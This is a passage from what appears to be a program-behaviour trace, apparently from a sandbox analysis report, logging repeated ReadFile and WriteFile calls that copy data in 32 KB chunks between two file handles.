	[0263.041] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.041] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.041] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.042] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.042] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.043] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.043] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.044] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.044] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.046] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.046] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.047] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.047] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.048] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.048] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.048] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.049] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.049] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.049] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.050] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.050] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.051] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.051] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.052] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.053] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.054] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.054] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.055] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.055] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.055] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.056] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.056] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.056] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.057] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.057] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.058] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.058] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.059] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.059] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.059] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.077] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.082] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.082] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.082] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.082] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.083] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.083] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.084] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.084] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.085] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.085] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.085] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.086] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.086] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.086] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.087] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.088] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.089] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.089] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.090] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.090] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.091] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.091] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.092] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.092] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.092] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.092] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.093] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.093] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.094] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.094] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.095] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.095] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.097] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.097] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.098] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.098] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.099] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.099] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.099] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.100] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.100] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.100] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.101] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.101] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.102] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.102] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.102] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.103] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.112] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.112] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.113] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.113] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.113] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.114] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.114] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.115] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
